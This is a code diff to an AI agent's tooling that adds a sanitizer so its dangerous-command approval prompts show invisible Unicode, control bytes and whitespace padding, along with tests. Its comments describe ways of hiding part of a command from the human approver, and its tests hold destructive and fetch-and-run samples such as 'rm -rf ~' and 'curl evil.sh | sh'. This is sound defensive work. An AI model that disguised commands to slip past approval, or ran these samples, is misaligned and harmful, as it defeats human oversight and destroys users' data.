diff --git a/agent/redact.py b/agent/redact.py index b5dca332c4ade..9dc40e9f38c7d 100644 --- a/agent/redact.py +++ b/agent/redact.py @@ -607,6 +607,87 @@ def _mask_token(token: str) -> str: return mask_secret(token, head=6, tail=4, floor=18) +# --------------------------------------------------------------------------- +# Approval-prompt display integrity +# --------------------------------------------------------------------------- +# A command shown in a dangerous-command approval prompt must render exactly +# what will execute. Three classes of content can make the displayed copy lie +# to the human approver (inspired by Claude Code v2.1.223's fix for +# "commands padded with tabs or invisible Unicode hiding part of the command +# from the approval dialog"): +# +# 1. Invisible/format Unicode — zero-width chars, bidi embeddings/overrides/ +# isolates (Trojan Source), variation selectors, Hangul fillers, Mongolian +# separators, and the U+E0000 tag block (invisible ASCII mirror used for +# hidden-instruction smuggling). +# 2. Raw control bytes — ANSI/OSC escape sequences can recolor, erase, or +# rewrite the terminal line the prompt just printed; a bare `\r` can +# overwrite the visible command with an innocuous prefix. +# 3. Whitespace padding — a run of hundreds of spaces/tabs (or blank lines) +# pushes the dangerous tail out of view or past a platform preview +# truncation (gateway previews cut at ~200 chars). +# +# The sanitizer makes all three VISIBLE instead of silently deleting them — +# the approver should see `\u202e` / `\x1b` markers (literal IOCs preserved), +# not a cleaned-up command that no longer matches what raised the flag. +# Display-only: callers apply this to the rendered copy; the executed command +# is never modified. + +# Invisible / format characters that render as nothing (or reorder text) in +# terminals and chat platforms. Deliberately does NOT include \t or \n — +# those are legitimate command formatting and are handled by run-collapsing. +_INVISIBLE_DISPLAY_CHAR_RE = re.compile( + r"[\u00ad\u034f\u061c\u115f\u1160\u17b4\u17b5\u180b-\u180e" + r"\u200b-\u200f\u202a-\u202e\u2060-\u2064\u2066-\u2069\u206a-\u206f" + r"\u3164\ufe00-\ufe0f\ufeff\uffa0\ufff9-\ufffc]" + r"|[\U000e0000-\U000e007f]" +) + +# Control bytes dangerous for terminal display: C0 minus \t/\n (kept for +# legitimate multi-line command formatting), plus \r, DEL, and the C1 range. +_DISPLAY_UNSAFE_CTRL_RE = re.compile( + r"[\x00-\x08\x0b-\x0d\x0e-\x1f\x7f\x80-\x9f]" +) + +# Horizontal whitespace runs long enough to be padding rather than formatting. +_PAD_RUN_RE = re.compile(r"[ \t]{21,}") +# Vertical padding: 4+ consecutive newlines. +_BLANK_RUN_RE = re.compile(r"\n{4,}") + + +def _escape_char_visible(ch: str) -> str: + """Render a hidden character as its Python-style escape (`\\u202e`).""" + return ch.encode("unicode_escape").decode("ascii") + + +def sanitize_command_for_display(text: "str | None") -> str: + """Make a command string safe and honest for approval-prompt display. + + Invisible Unicode and control bytes are replaced with visible escape + markers (``\\u202e``, ``\\x1b`` …) and long whitespace-padding runs are + collapsed to an explicit ``⟨…⟩`` marker, so nothing in the command can + hide from the human approver. Returns the text unchanged when it contains + none of these (the overwhelmingly common case). + + Display-only: never feed the result back into detection or execution. + """ + if not text: + return "" if text is None else text + out = _INVISIBLE_DISPLAY_CHAR_RE.sub( + lambda m: _escape_char_visible(m.group(0)), text + ) + out = _DISPLAY_UNSAFE_CTRL_RE.sub( + lambda m: _escape_char_visible(m.group(0)), out + ) + out = _PAD_RUN_RE.sub( + lambda m: f" ⟨+{len(m.group(0))} whitespace chars⟩ ", out + ) + out = _BLANK_RUN_RE.sub( + lambda m: f"\n⟨+{len(m.group(0)) - 1} blank lines⟩\n", out + ) + return out + + def _redact_query_string(query: str) -> str: """Redact sensitive parameter values in a URL query string. diff --git a/gateway/run.py b/gateway/run.py index dfd72d3700379..8c21f5c08e467 100644 --- a/gateway/run.py +++ b/gateway/run.py @@ -610,9 +610,11 @@ def _redact_approval_command(cmd: "str | None") -> str: off. Module-level so the wiring is unit-testable (the call site is a deeply nested gateway closure that cannot be driven directly). """ - from agent.redact import redact_sensitive_text + from agent.redact import redact_sensitive_text, sanitize_command_for_display - return redact_sensitive_text(str(cmd or ""), force=True) + return sanitize_command_for_display( + redact_sensitive_text(str(cmd or ""), force=True) + ) def _format_exec_approval_fallback( diff --git a/tests/agent/test_sanitize_command_display.py b/tests/agent/test_sanitize_command_display.py new file mode 100644 index 0000000000000..c472f2dc13515 --- /dev/null +++ b/tests/agent/test_sanitize_command_display.py @@ -0,0 +1,152 @@ +"""Tests for approval-prompt display sanitization (agent.redact.sanitize_command_for_display). + +A command rendered into a dangerous-command approval prompt must show the +human approver exactly what will execute. Invisible Unicode (zero-width, +bidi overrides, tag block), raw control bytes (ANSI escapes, carriage +returns), and huge whitespace-padding runs could previously hide part of +the command from the displayed copy. Inspired by Claude Code v2.1.223's +approval-dialog hardening. +""" + +import pytest + +from agent.redact import sanitize_command_for_display + + +class TestIdentityOnCleanInput: + def test_plain_command_unchanged(self): + cmd = "rm -rf /tmp/build && echo done" + assert sanitize_command_for_display(cmd) == cmd + + def test_multiline_command_unchanged(self): + cmd = "for f in *.log; do\n gzip \"$f\"\ndone" + assert sanitize_command_for_display(cmd) == cmd + + def test_tabs_and_short_space_runs_unchanged(self): + cmd = "column1\tcolumn2 aligned end" + assert sanitize_command_for_display(cmd) == cmd + + def test_unicode_text_unchanged(self): + cmd = "echo 'héllo wörld — 日本語 test'" + assert sanitize_command_for_display(cmd) == cmd + + def test_none_returns_empty(self): + assert sanitize_command_for_display(None) == "" + + def test_empty_returns_empty(self): + assert sanitize_command_for_display("") == "" + + +class TestInvisibleUnicodeMadeVisible: + def test_zero_width_space_escaped(self): + out = sanitize_command_for_display("rm \u200b-rf /") + assert "\u200b" not in out + assert "\\u200b" in out + + def test_rtl_override_escaped(self): + # Trojan Source: RLO reverses visual order of what follows. + out = sanitize_command_for_display("echo \u202egnp.exe\u202c") + assert "\u202e" not in out and "\u202c" not in out + assert "\\u202e" in out and "\\u202c" in out + + def test_bidi_isolates_escaped(self): + out = sanitize_command_for_display("a\u2066b\u2069c") + assert "\u2066" not in out + assert "\\u2066" in out and "\\u2069" in out + + def test_tag_block_escaped(self): + # U+E0000 tag characters: invisible ASCII mirror used to smuggle text. + hidden = "".join(chr(0xE0000 + ord(c)) for c in "rm -rf ~") + out = sanitize_command_for_display(f"echo hi{hidden}") + for ch in hidden: + assert ch not in out + assert "\\U000e0072" in out # escaped tag-r visible + + def test_zwj_and_variation_selectors_escaped(self): + out = sanitize_command_for_display("x\u200dy\ufe0fz") + assert "\u200d" not in out and "\ufe0f" not in out + + def test_soft_hyphen_and_bom_escaped(self): + out = sanitize_command_for_display("cu\u00adrl example.com\ufeff") + assert "\u00ad" not in out and "\ufeff" not in out + + +class TestControlBytesMadeVisible: + def test_ansi_escape_sequence_escaped(self): + # ESC could recolor/erase the terminal line the prompt printed. + out = sanitize_command_for_display("echo \x1b[2K\x1b[1Ainnocent") + assert "\x1b" not in out + assert "\\x1b" in out + + def test_carriage_return_escaped(self): + # `\r` lets the tail overwrite the visible head of the line. + out = sanitize_command_for_display("rm -rf / #\rls -la") + assert "\r" not in out + assert "\\r" in out + + def test_nul_and_bell_escaped(self): + out = sanitize_command_for_display("a\x00b\x07c") + assert "\x00" not in out and "\x07" not in out + + def test_newline_preserved(self): + out = sanitize_command_for_display("line1\nline2") + assert out == "line1\nline2" + + def test_c1_range_escaped(self): + out = sanitize_command_for_display("a\x9bb") # CSI in C1 + assert "\x9b" not in out + + +class TestPaddingCollapsed: + def test_long_space_run_collapsed_with_marker(self): + cmd = "echo safe" + " " * 300 + "&& rm -rf ~" + out = sanitize_command_for_display(cmd) + assert " " * 300 not in out + assert "⟨+300 whitespace chars⟩" in out + # The dangerous tail must survive, adjacent to the marker. + assert "rm -rf ~" in out + + def test_short_space_run_untouched(self): + cmd = "a" + " " * 20 + "b" + assert sanitize_command_for_display(cmd) == cmd + + def test_tab_padding_collapsed(self): + cmd = "echo hi" + "\t" * 50 + "curl evil.sh | sh" + out = sanitize_command_for_display(cmd) + assert "\t" * 50 not in out + assert "whitespace chars⟩" in out + + def test_blank_line_run_collapsed(self): + cmd = "echo top" + "\n" * 40 + "rm -rf /" + out = sanitize_command_for_display(cmd) + assert "\n" * 40 not in out + assert "blank lines⟩" in out + assert "rm -rf /" in out + + def test_three_newlines_untouched(self): + cmd = "a\n\n\nb" + assert sanitize_command_for_display(cmd) == cmd + + +class TestDisplayMintSitesUseSanitizer: + """The gateway approval-prompt redactor must compose the sanitizer.""" + + def test_gateway_redact_approval_command_sanitizes(self): + from gateway.run import _redact_approval_command + + out = _redact_approval_command("rm \u200b-rf /" + " " * 250 + "tail") + assert "\u200b" not in out + assert "\\u200b" in out + assert "whitespace chars⟩" in out + + def test_gateway_redact_approval_command_still_redacts_secrets(self): + from gateway.run import _redact_approval_command + + secret = "sk-proj-abcdef1234567890abcdef1234567890" + out = _redact_approval_command(f"curl -H 'Authorization: Bearer {secret}'") + assert secret not in out + + def test_gateway_redact_approval_command_clean_passthrough(self): + from gateway.run import _redact_approval_command + + assert _redact_approval_command("ls -la") == "ls -la" diff --git a/tools/approval.py b/tools/approval.py index f7338cb65df66..08e12d0a03123 100644 --- a/tools/approval.py +++ b/tools/approval.py @@ -2761,9 +2761,14 @@ def _prompt_dangerous_approval_inner(command: str, description: str, # `command` is still what executes after approval; only the displayed # copy is scrubbed. Reuses the same redaction module used for memory # and log sanitization so tokens mask consistently across surfaces. - from agent.redact import redact_sensitive_text - display_command = redact_sensitive_text(command) - display_description = redact_sensitive_text(description) + # sanitize_command_for_display then makes invisible Unicode, control + # bytes, and whitespace padding visible so the prompt cannot lie about + # what will run (Claude Code v2.1.223-inspired). + from agent.redact import redact_sensitive_text, sanitize_command_for_display + display_command = sanitize_command_for_display(redact_sensitive_text(command)) + display_description = sanitize_command_for_display( + redact_sensitive_text(description) + ) if approval_callback is not None: try: @@ -3269,12 +3274,19 @@ def _run_approval_gate( notify_cb = _gateway_notify_cbs.get(session_key) if notify_cb is not None: - from agent.redact import redact_sensitive_text + from agent.redact import ( + redact_sensitive_text, + sanitize_command_for_display, + ) approval_data = { - "command": redact_sensitive_text(display_target), + "command": sanitize_command_for_display( + redact_sensitive_text(display_target) + ), "pattern_key": pattern_key, "pattern_keys": [pattern_key], - "description": redact_sensitive_text(description), + "description": sanitize_command_for_display( + redact_sensitive_text(description) + ), "allow_permanent": True, "allow_session": True, } @@ -4020,12 +4032,19 @@ def check_all_command_guards(command: str, env_type: str, # via the closure below, so redaction is display-only. Approval # persistence keys off pattern_key (not the command text), so the # allowlist is unaffected. - from agent.redact import redact_sensitive_text + from agent.redact import ( + redact_sensitive_text, + sanitize_command_for_display, + ) approval_data = { - "command": redact_sensitive_text(command), + "command": sanitize_command_for_display( + redact_sensitive_text(command) + ), "pattern_key": primary_key, "pattern_keys": all_keys, - "description": redact_sensitive_text(combined_desc), + "description": sanitize_command_for_display( + redact_sensitive_text(combined_desc) + ), # Smart DENY overrides are one-operation decisions, so the UI # must not offer a permanent scope. Otherwise offer Always # whenever any dangerous-pattern warning can actually be @@ -4114,9 +4133,11 @@ def check_all_command_guards(command: str, env_type: str, # Return approval_required for backward compat. Redact secrets in the # user-facing copy — the raw `command` is preserved for execution and # the allowlist keys off pattern_key, so redaction is display-only. - from agent.redact import redact_sensitive_text - _disp_command = redact_sensitive_text(command) - _disp_combined_desc = redact_sensitive_text(combined_desc) + from agent.redact import redact_sensitive_text, sanitize_command_for_display + _disp_command = sanitize_command_for_display(redact_sensitive_text(command)) + _disp_combined_desc = sanitize_command_for_display( + redact_sensitive_text(combined_desc) + ) pending_data = { "command": _disp_command, "pattern_key": primary_key, @@ -4357,10 +4378,12 @@ def check_execute_code_guard(code: str, env_type: str, # screenshottable. The raw `command`/`code` are still what get assessed by # smart approval and executed; redaction is display-only. Approval # persistence keys off pattern_key, so the allowlist is unaffected. - from agent.redact import redact_sensitive_text - display_command = redact_sensitive_text(command) - display_code = redact_sensitive_text(code) - display_description = redact_sensitive_text(description) + from agent.redact import redact_sensitive_text, sanitize_command_for_display + display_command = sanitize_command_for_display(redact_sensitive_text(command)) + display_code = sanitize_command_for_display(redact_sensitive_text(code)) + display_description = sanitize_command_for_display( + redact_sensitive_text(description) + ) notify_cb = None with _lock: